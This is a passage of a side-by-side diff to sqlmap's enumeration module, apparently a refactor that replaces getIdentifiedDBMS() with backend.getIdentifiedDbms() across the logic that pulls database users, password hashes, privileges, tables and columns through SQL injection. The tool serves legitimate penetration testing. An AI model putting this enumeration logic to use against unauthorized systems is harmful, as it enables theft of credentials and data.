if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser: if parsedUser:
@ -272,7 +273,7 @@ class Enumeration:
infoMsg += "for user '%s'" % user infoMsg += "for user '%s'" % user
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): if backend.getIdentifiedDbms() == DBMS.MSSQL and backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user query = rootQuery.blind.count2 % user
else: else:
query = rootQuery.blind.count % user query = rootQuery.blind.count % user
@ -289,14 +290,14 @@ class Enumeration:
passwords = [] passwords = []
if getIdentifiedDBMS() == DBMS.ORACLE: if backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if getIdentifiedDBMS() == DBMS.SYBASE: if backend.getIdentifiedDbms() == DBMS.SYBASE:
if index > 0: if index > 0:
warnMsg = "unable to retrieve other password " warnMsg = "unable to retrieve other password "
warnMsg += "hashes for user '%s'" % user warnMsg += "hashes for user '%s'" % user
@ -305,15 +306,15 @@ class Enumeration:
else: else:
query = rootQuery.blind.query % user query = rootQuery.blind.query % user
getCurrentThreadData().disableStdOut = True getCurrentThreadData().disableStdOut = True
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
if kb.dbmsVersion[0] in ( "2005", "2008" ): if backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.query2 % (user, index, user) query = rootQuery.blind.query2 % (user, index, user)
else: else:
query = rootQuery.blind.query % (user, index, user) query = rootQuery.blind.query % (user, index, user)
else: else:
query = rootQuery.blind.query % (user, index) query = rootQuery.blind.query % (user, index)
password = inject.getValue(query, inband=False, error=False) password = inject.getValue(query, inband=False, error=False)
if getIdentifiedDBMS() == DBMS.SYBASE: if backend.getIdentifiedDbms() == DBMS.SYBASE:
getCurrentThreadData().disableStdOut = False getCurrentThreadData().disableStdOut = False
password = "0x%s" % strToHex(password) password = "0x%s" % strToHex(password)
infoMsg = "retrieved: %s" % password infoMsg = "retrieved: %s" % password
@ -350,31 +351,31 @@ class Enumeration:
def __isAdminFromPrivileges(self, privileges): def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the # In PostgreSQL the usesuper privilege means that the
# user is DBA # user is DBA
dbaCondition = ( getIdentifiedDBMS() == DBMS.PGSQL and "super" in privileges ) dbaCondition = ( backend.getIdentifiedDbms() == DBMS.PGSQL and "super" in privileges )
# In Oracle the DBA privilege means that the # In Oracle the DBA privilege means that the
# user is DBA # user is DBA
dbaCondition |= ( getIdentifiedDBMS() == DBMS.ORACLE and "DBA" in privileges ) dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.ORACLE and "DBA" in privileges )
# In MySQL >= 5.0 the SUPER privilege means # In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA # that the user is DBA
dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges ) dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema and "SUPER" in privileges )
# In MySQL < 5.0 the super_priv privilege means # In MySQL < 5.0 the super_priv privilege means
# that the user is DBA # that the user is DBA
dbaCondition |= ( getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges ) dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema and "super_priv" in privileges )
# In Firebird there is no specific privilege that means # In Firebird there is no specific privilege that means
# that the user is DBA # that the user is DBA
# TODO: confirm # TODO: confirm
dbaCondition |= ( getIdentifiedDBMS() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges ) dbaCondition |= ( backend.getIdentifiedDbms() == DBMS.FIREBIRD and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
return dbaCondition return dbaCondition
def getPrivileges(self, query2=False): def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges" infoMsg = "fetching database users privileges"
rootQuery = queries[getIdentifiedDBMS()].privileges rootQuery = queries[backend.getIdentifiedDbms()].privileges
if conf.user == "CU": if conf.user == "CU":
infoMsg += " for current user" infoMsg += " for current user"
@ -430,10 +431,10 @@ class Enumeration:
} }
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2 query = rootQuery.inband.query2
condition = rootQuery.inband.condition2 condition = rootQuery.inband.condition2
elif getIdentifiedDBMS() == DBMS.ORACLE and query2: elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.inband.query2 query = rootQuery.inband.query2
condition = rootQuery.inband.condition2 condition = rootQuery.inband.condition2
else: else:
@ -445,7 +446,7 @@ class Enumeration:
query += " WHERE " query += " WHERE "
# NOTE: I assume that the user provided is not in # NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host' # MySQL >= 5.0 syntax 'user'@'host'
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%" queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users) query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else: else:
@ -453,7 +454,7 @@ class Enumeration:
values = inject.getValue(query, blind=False) values = inject.getValue(query, blind=False)
if not values and getIdentifiedDBMS() == DBMS.ORACLE and not query2: if not values and backend.getIdentifiedDbms() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS" infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg) logger.info(infoMsg)
@ -475,19 +476,19 @@ class Enumeration:
# In PostgreSQL we get 1 if the privilege is # In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise # True, 0 otherwise
if getIdentifiedDBMS() == DBMS.PGSQL and getUnicode(privilege).isdigit(): if backend.getIdentifiedDbms() == DBMS.PGSQL and getUnicode(privilege).isdigit():
for position, pgsqlPriv in pgsqlPrivs: for position, pgsqlPriv in pgsqlPrivs:
if count == position and int(privilege) == 1: if count == position and int(privilege) == 1:
privileges.add(pgsqlPriv) privileges.add(pgsqlPriv)
# In MySQL >= 5.0 and Oracle we get the list # In MySQL >= 5.0 and Oracle we get the list
# of privileges as string # of privileges as string
elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ): elif backend.getIdentifiedDbms() == DBMS.ORACLE or ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ):
privileges.add(privilege) privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is # In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise # True, N otherwise
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
for position, mysqlPriv in mysqlPrivs: for position, mysqlPriv in mysqlPrivs:
if count == position and privilege.upper() == "Y": if count == position and privilege.upper() == "Y":
privileges.add(mysqlPriv) privileges.add(mysqlPriv)
@ -504,7 +505,7 @@ class Enumeration:
conditionChar = "=" conditionChar = "="
if conf.user: if conf.user:
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
conditionChar = " LIKE " conditionChar = " LIKE "
if "," in conf.user: if "," in conf.user:
@ -531,7 +532,7 @@ class Enumeration:
for user in users: for user in users:
unescapedUser = None unescapedUser = None
if getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False) unescapedUser = unescaper.unescape(user, quote=False)
if user in retrievedUsers: if user in retrievedUsers:
@ -546,18 +547,18 @@ class Enumeration:
else: else:
queryUser = user queryUser = user
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 % queryUser query = rootQuery.blind.count2 % queryUser
elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: elif backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.count % (conditionChar, queryUser) query = rootQuery.blind.count % (conditionChar, queryUser)
elif getIdentifiedDBMS() == DBMS.ORACLE and query2: elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.blind.count2 % queryUser query = rootQuery.blind.count2 % queryUser
else: else:
query = rootQuery.blind.count % queryUser query = rootQuery.blind.count % queryUser
count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2) count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=2)
if not isNumPosStrValue(count): if not isNumPosStrValue(count):
if not (isinstance(count, basestring) and count.isdigit()) and getIdentifiedDBMS() == DBMS.ORACLE and not query2: if not (isinstance(count, basestring) and count.isdigit()) and backend.getIdentifiedDbms() == DBMS.ORACLE and not query2:
infoMsg = "trying with table USER_SYS_PRIVS" infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg) logger.info(infoMsg)
@ -573,20 +574,20 @@ class Enumeration:
privileges = set() privileges = set()
if getIdentifiedDBMS() == DBMS.ORACLE: if backend.getIdentifiedDbms() == DBMS.ORACLE:
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % (queryUser, index) query = rootQuery.blind.query2 % (queryUser, index)
elif getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema: elif backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema:
query = rootQuery.blind.query % (conditionChar, queryUser, index) query = rootQuery.blind.query % (conditionChar, queryUser, index)
elif getIdentifiedDBMS() == DBMS.ORACLE and query2: elif backend.getIdentifiedDbms() == DBMS.ORACLE and query2:
query = rootQuery.blind.query2 % (queryUser, index) query = rootQuery.blind.query2 % (queryUser, index)
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (index, queryUser) query = rootQuery.blind.query % (index, queryUser)
else: else:
query = rootQuery.blind.query % (queryUser, index) query = rootQuery.blind.query % (queryUser, index)
@ -594,7 +595,7 @@ class Enumeration:
# In PostgreSQL we get 1 if the privilege is True, # In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise # 0 otherwise
if getIdentifiedDBMS() == DBMS.PGSQL and ", " in privilege: if backend.getIdentifiedDbms() == DBMS.PGSQL and ", " in privilege:
privilege = privilege.replace(", ", ",") privilege = privilege.replace(", ", ",")
privs = privilege.split(",") privs = privilege.split(",")
i = 1 i = 1
@ -609,12 +610,12 @@ class Enumeration:
# In MySQL >= 5.0 and Oracle we get the list # In MySQL >= 5.0 and Oracle we get the list
# of privileges as string # of privileges as string
elif getIdentifiedDBMS() == DBMS.ORACLE or ( getIdentifiedDBMS() == DBMS.MYSQL and kb.data.has_information_schema ): elif backend.getIdentifiedDbms() == DBMS.ORACLE or ( backend.getIdentifiedDbms() == DBMS.MYSQL and kb.data.has_information_schema ):
privileges.add(privilege) privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is # In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise # True, N otherwise
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
privilege = privilege.replace(", ", ",") privilege = privilege.replace(", ", ",")
privs = privilege.split(",") privs = privilege.split(",")
i = 1 i = 1
@ -628,7 +629,7 @@ class Enumeration:
i += 1 i += 1
# In Firebird we get one letter for each privilege # In Firebird we get one letter for each privilege
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
privileges.add(firebirdPrivs[privilege.strip()]) privileges.add(firebirdPrivs[privilege.strip()])
if self.__isAdminFromPrivileges(privileges): if self.__isAdminFromPrivileges(privileges):
@ -637,7 +638,7 @@ class Enumeration:
# In MySQL < 5.0 we break the cycle after the first # In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we # time we get the user's privileges otherwise we
# duplicate the same query # duplicate the same query
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
break break
if privileges: if privileges:
@ -657,14 +658,14 @@ class Enumeration:
return ( kb.data.cachedUsersPrivileges, areAdmins ) return ( kb.data.cachedUsersPrivileges, areAdmins )
def getRoles(self, query2=False): def getRoles(self, query2=False):
warnMsg = "on %s the concept of roles does not " % getIdentifiedDBMS() warnMsg = "on %s the concept of roles does not " % backend.getIdentifiedDbms()
warnMsg += "exist. sqlmap will enumerate privileges instead" warnMsg += "exist. sqlmap will enumerate privileges instead"
logger.warn(warnMsg) logger.warn(warnMsg)
return self.getPrivileges(query2) return self.getPrivileges(query2)
def getDbs(self): def getDbs(self):
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
warnMsg = "information_schema not available, " warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database" warnMsg += "names will be fetched from 'mysql' database"
@ -673,10 +674,10 @@ class Enumeration:
infoMsg = "fetching database names" infoMsg = "fetching database names"
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[getIdentifiedDBMS()].dbs rootQuery = queries[backend.getIdentifiedDbms()].dbs
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.inband.query2 query = rootQuery.inband.query2
else: else:
query = rootQuery.inband.query query = rootQuery.inband.query
@ -689,7 +690,7 @@ class Enumeration:
infoMsg = "fetching number of databases" infoMsg = "fetching number of databases"
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.count2 query = rootQuery.blind.count2
else: else:
query = rootQuery.blind.count query = rootQuery.blind.count
@ -702,9 +703,9 @@ class Enumeration:
indexRange = getRange(count) indexRange = getRange(count)
for index in indexRange: for index in indexRange:
if getIdentifiedDBMS() == DBMS.SYBASE: if backend.getIdentifiedDbms() == DBMS.SYBASE:
query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ")
elif getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: elif backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
query = rootQuery.blind.query2 % index query = rootQuery.blind.query2 % index
else: else:
query = rootQuery.blind.query % index query = rootQuery.blind.query % index
@ -724,13 +725,13 @@ class Enumeration:
self.forceDbmsEnum() self.forceDbmsEnum()
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg) logger.error(errMsg)
bruteForce = True bruteForce = True
elif getIdentifiedDBMS() == DBMS.ACCESS: elif backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve table names, " errMsg = "cannot retrieve table names, "
errMsg += "back-end DBMS is Access" errMsg += "back-end DBMS is Access"
logger.error(errMsg) logger.error(errMsg)
@ -769,7 +770,7 @@ class Enumeration:
infoMsg += " for database '%s'" % conf.db infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
rootQuery = queries[getIdentifiedDBMS()].tables rootQuery = queries[backend.getIdentifiedDbms()].tables
if conf.db: if conf.db:
if "," in conf.db: if "," in conf.db:
@ -787,7 +788,7 @@ class Enumeration:
condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None
if condition: if condition:
if conf.db and getIdentifiedDBMS() != DBMS.SQLITE: if conf.db and backend.getIdentifiedDbms() != DBMS.SQLITE:
if "," in conf.db: if "," in conf.db:
dbs = conf.db.split(",") dbs = conf.db.split(",")
query += " WHERE " query += " WHERE "
@ -800,12 +801,12 @@ class Enumeration:
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList) infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE): if backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
query = safeStringFormat(query, conf.db) query = safeStringFormat(query, conf.db)
value = inject.getValue(query, blind=False) value = inject.getValue(query, blind=False)
if value: if value:
if getIdentifiedDBMS() == DBMS.SQLITE: if backend.getIdentifiedDbms() == DBMS.SQLITE:
if isinstance(value, basestring): if isinstance(value, basestring):
value = [[ DBMS.SQLITE, value ]] value = [[ DBMS.SQLITE, value ]]
elif isinstance(value, (list, tuple, set)): elif isinstance(value, (list, tuple, set)):
@ -834,7 +835,7 @@ class Enumeration:
infoMsg += "database '%s'" % db infoMsg += "database '%s'" % db
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB): if backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB):
query = rootQuery.blind.count query = rootQuery.blind.count
else: else:
query = rootQuery.blind.count % db query = rootQuery.blind.count % db
@ -848,18 +849,18 @@ class Enumeration:
tables = [] tables = []
if getIdentifiedDBMS() in ( DBMS.MSSQL, DBMS.ORACLE ): if backend.getIdentifiedDbms() in ( DBMS.MSSQL, DBMS.ORACLE ):
plusOne = True plusOne = True
else: else:
plusOne = False plusOne = False
indexRange = getRange(count, plusOne=plusOne) indexRange = getRange(count, plusOne=plusOne)
for index in indexRange: for index in indexRange:
if getIdentifiedDBMS() == DBMS.SYBASE: if backend.getIdentifiedDbms() == DBMS.SYBASE:
query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " "))
elif getIdentifiedDBMS() == DBMS.MAXDB: elif backend.getIdentifiedDbms() == DBMS.MAXDB:
query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")
elif getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.FIREBIRD): elif backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD):
query = rootQuery.blind.query % index query = rootQuery.blind.query % index
else: else:
query = rootQuery.blind.query % (db, index) query = rootQuery.blind.query % (db, index)
@ -900,13 +901,13 @@ class Enumeration:
conf.db = self.getCurrentDb() conf.db = self.getCurrentDb()
if getIdentifiedDBMS() == DBMS.MYSQL and not kb.data.has_information_schema: if backend.getIdentifiedDbms() == DBMS.MYSQL and not kb.data.has_information_schema:
errMsg = "information_schema not available, " errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0" errMsg += "back-end DBMS is MySQL < 5.0"
logger.error(errMsg) logger.error(errMsg)
bruteForce = True bruteForce = True
elif getIdentifiedDBMS() == DBMS.ACCESS: elif backend.getIdentifiedDbms() == DBMS.ACCESS:
errMsg = "cannot retrieve column names, " errMsg = "cannot retrieve column names, "
errMsg += "back-end DBMS is Access" errMsg += "back-end DBMS is Access"
logger.error(errMsg) logger.error(errMsg)
@ -957,13 +958,13 @@ class Enumeration:
"37":"VARCHAR" "37":"VARCHAR"
} }
rootQuery = queries[getIdentifiedDBMS()].columns rootQuery = queries[backend.getIdentifiedDbms()].columns
condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None
infoMsg = "fetching columns " infoMsg = "fetching columns "
if conf.col: if conf.col:
if getIdentifiedDBMS() == DBMS.ORACLE: if backend.getIdentifiedDbms() == DBMS.ORACLE:
conf.col = conf.col.upper() conf.col = conf.col.upper()
colList = conf.col.split(",") colList = conf.col.split(",")
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")" condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
@ -976,24 +977,24 @@ class Enumeration:
logger.info(infoMsg) logger.info(infoMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.inband.query % (conf.tbl, conf.db) query = rootQuery.inband.query % (conf.tbl, conf.db)
query += condQuery query += condQuery
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.inband.query % conf.tbl.upper() query = rootQuery.inband.query % conf.tbl.upper()
query += condQuery query += condQuery
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
query = rootQuery.inband.query % (conf.db, conf.db, query = rootQuery.inband.query % (conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.tbl) conf.db, conf.tbl)
query += condQuery.replace("[DB]", conf.db) query += condQuery.replace("[DB]", conf.db)
elif getIdentifiedDBMS() == DBMS.SQLITE: elif backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.inband.query % conf.tbl query = rootQuery.inband.query % conf.tbl
value = inject.getValue(query, blind=False) value = inject.getValue(query, blind=False)
if getIdentifiedDBMS() == DBMS.SQLITE: if backend.getIdentifiedDbms() == DBMS.SQLITE:
parseSqliteTableSchema(value) parseSqliteTableSchema(value)
elif value: elif value:
table = {} table = {}
@ -1011,19 +1012,19 @@ class Enumeration:
infoMsg += " on database '%s'" % conf.db infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg) logger.info(infoMsg)
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.count % (conf.tbl, conf.db) query = rootQuery.blind.count % (conf.tbl, conf.db)
query += condQuery query += condQuery
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.count % conf.tbl.upper() query = rootQuery.blind.count % conf.tbl.upper()
query += condQuery query += condQuery
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl) query = rootQuery.blind.count % (conf.db, conf.db, conf.tbl)
query += condQuery.replace("[DB]", conf.db) query += condQuery.replace("[DB]", conf.db)
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.count % (conf.tbl) query = rootQuery.blind.count % (conf.tbl)
query += condQuery query += condQuery
elif getIdentifiedDBMS() == DBMS.SQLITE: elif backend.getIdentifiedDbms() == DBMS.SQLITE:
query = rootQuery.blind.query % conf.tbl query = rootQuery.blind.query % conf.tbl
value = inject.getValue(query, inband=False, error=False) value = inject.getValue(query, inband=False, error=False)
@ -1045,22 +1046,22 @@ class Enumeration:
indexRange = getRange(count) indexRange = getRange(count)
for index in indexRange: for index in indexRange:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query % (conf.tbl, conf.db) query = rootQuery.blind.query % (conf.tbl, conf.db)
query += condQuery query += condQuery
field = None field = None
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.query % (conf.tbl.upper()) query = rootQuery.blind.query % (conf.tbl.upper())
query += condQuery query += condQuery
field = None field = None
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
query = rootQuery.blind.query % (conf.db, conf.db, query = rootQuery.blind.query % (conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.db, conf.db, conf.db, conf.db,
conf.tbl) conf.tbl)
query += condQuery.replace("[DB]", conf.db) query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db) field = condition.replace("[DB]", conf.db)
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query % (conf.tbl) query = rootQuery.blind.query % (conf.tbl)
query += condQuery query += condQuery
field = None field = None
@ -1069,20 +1070,20 @@ class Enumeration:
column = inject.getValue(query, inband=False, error=False) column = inject.getValue(query, inband=False, error=False)
if not onlyColNames: if not onlyColNames:
if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ): if backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
query = rootQuery.blind.query2 % (conf.tbl, column, conf.db) query = rootQuery.blind.query2 % (conf.tbl, column, conf.db)
elif getIdentifiedDBMS() == DBMS.ORACLE: elif backend.getIdentifiedDbms() == DBMS.ORACLE:
query = rootQuery.blind.query2 % (conf.tbl.upper(), column) query = rootQuery.blind.query2 % (conf.tbl.upper(), column)
elif getIdentifiedDBMS() == DBMS.MSSQL: elif backend.getIdentifiedDbms() == DBMS.MSSQL:
query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db,
conf.db, column, conf.db, conf.db, column, conf.db,
conf.db, conf.db, conf.tbl) conf.db, conf.db, conf.tbl)
elif getIdentifiedDBMS() == DBMS.FIREBIRD: elif backend.getIdentifiedDbms() == DBMS.FIREBIRD:
query = rootQuery.blind.query2 % (conf.tbl, column) query = rootQuery.blind.query2 % (conf.tbl, column)
colType = inject.getValue(query, inband=False, error=False) colType = inject.getValue(query, inband=False, error=False)
if getIdentifiedDBMS() == DBMS.FIREBIRD: if backend.getIdentifiedDbms() == DBMS.FIREBIRD:
colType = firebirdTypes[colType] if colType in firebirdTypes else colType colType = firebirdTypes[colType] if colType in firebirdTypes else colType
columns[column] = colType columns[column] = colType
@ -1128,9 +1129,9 @@ class Enumeration:
conf.db = self.getCurrentDb() conf.db = self.getCurrentDb()
rootQuery = queries[getIdentifiedDBMS()].dump_table rootQuery = queries[backend.getIdentifiedDbms()].dump_table
if getIdentifiedDBMS() == DBMS.MYSQL: if backend.getIdentifiedDbms() == DBMS.MYSQL:
if '-' in conf.tbl: if '-' in conf.tbl:
conf.tbl = "`%s`" % conf.tbl conf.tbl = "`%s`" % conf.tbl
if '-' in conf.db: if '-' in conf.db:
@ -1173,9 +1174,9 @@ class Enumeration:
entriesCount = 0 entriesCount = 0
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
